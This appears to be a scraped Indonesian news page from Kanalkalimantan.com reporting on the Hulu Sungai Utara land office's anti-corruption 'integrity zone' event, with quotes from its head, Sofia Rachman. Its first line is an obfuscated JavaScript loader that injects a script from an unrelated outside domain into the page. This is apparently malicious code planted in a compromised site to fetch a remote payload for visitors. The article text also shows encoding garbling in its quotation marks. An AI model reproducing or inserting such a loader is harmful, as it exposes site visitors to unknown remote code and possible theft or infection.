(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Kantor Pertanahan Agraria Tata Ruang Badan Pertanahan Nasional (ATR/BPN) Kabupaten Hulu Sungai Utara (HSU) melakukan internalisasi pembangunan zona integritas menuju Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih dan Melayani (WBBM).
Kepala Kantor Pertanahan ATR/BPN Kabupaten HSU, Sofia Rachman mengatakan, program ini untuk mewujudkan pembangunan zona integritas WBK dan WBBM diperlukan komitmen bersama dari semua pihak dimulai dari Kepala Kantor hingga para jajaran di bawah.
“Saya mengharapkan kepada teman-teman untuk memberikan pelayanan terbaik kepada warga Kabupaten HSU,†kata Sofia Rachman, saat menggelar kegiatan di aula Hotel Minosa Resort Amuntai, Selasa (23/8/2022).
Ia mengingatkan kepada seluruh jajarannya untuk bekerja transparan dan memiliki akuntabilitas dan kualitas kinerja yang semakin baik, sehingga pelayanan terhadap publik semakin optimal.
Baca juga:Â Hilangkan Jejak Digital 3 Grup WhatsApp Brigadir J Dihapus, HP Para Ajudan Diganti
“Sekarang tidak ada lagi istilahnya privilage bagi kepala kantor maupun petugas pertanahan dalam melaksana tugas, sekarang paradigmanya pelayanan kepada masyarakat,†tegasnya.
Dirinya menambahkan, tolak ukur kerberhasilan zona integritas adalah tidak ada lagi gratifikasi dan korupsi. Hal itu dapat terwujud dengan adanya komitmen bersama.
Kantor Pertanahan ATR/BPN Kabupaten HSU internalisasi pembangunan zona integritas menuju Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih dan Melayani (WBBM). Foto: dew
“Kita bekerja sesuai dengan aturan yang telah diberikan oleh pusat, sehingga produk kita dapat dihargai baik dari sisi hukum maupun penghargaan dari masyarakat,†kata Kepala Kantor ATR/BPN HSU.
Adapun kendala yang masih banyak terjadi terkait permasalahan pertanahan di Hulu Sungai Utara adalah kurangnya kesadaran masyarakat akan pentingnya sertifikat hak atas tanah. Masih banyak yang beranggapan di masyarakat sulitnya mengurus sertifikat tanah.
“Ini yang coba kita harus arahkan kepada masyarakat, agar mereka mendaftarkan tanah-tanah mereka di Kantor Pertanahan Kabupaten HSU,†pungkasnya.
Kegiatan dihadiri Kepala Kantor Wilayah BPN Provinsi Kalsel Alen Saputra SH MKn dan Ketua Pengadilan Negeri Amuntai, Silfi Yanti Zulfia. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.